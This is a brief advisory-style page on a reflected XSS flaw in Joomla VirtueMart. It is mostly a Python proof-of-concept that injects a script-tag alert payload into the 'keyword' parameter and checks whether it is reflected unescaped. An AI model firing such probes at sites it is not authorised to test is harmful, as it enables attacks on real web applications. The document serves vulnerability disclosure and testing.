CVE-2023-54362 Joomla VirtueMart反射型XSS漏洞

import requests # Target URL (example) target = "http://example.com/index.php?option=com_virtuemart&view=product-variants" # Malicious payload to test XSS payload = "<script>alert(1)</script>" # Inject payload into the keyword parameter params = {"keyword": payload} try: response = requests.get(target, params=params, timeout=5) # Check if the payload is reflected unescaped in the response if payload in response.text: print(f"[+] Vulnerability confirmed! Payload detected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")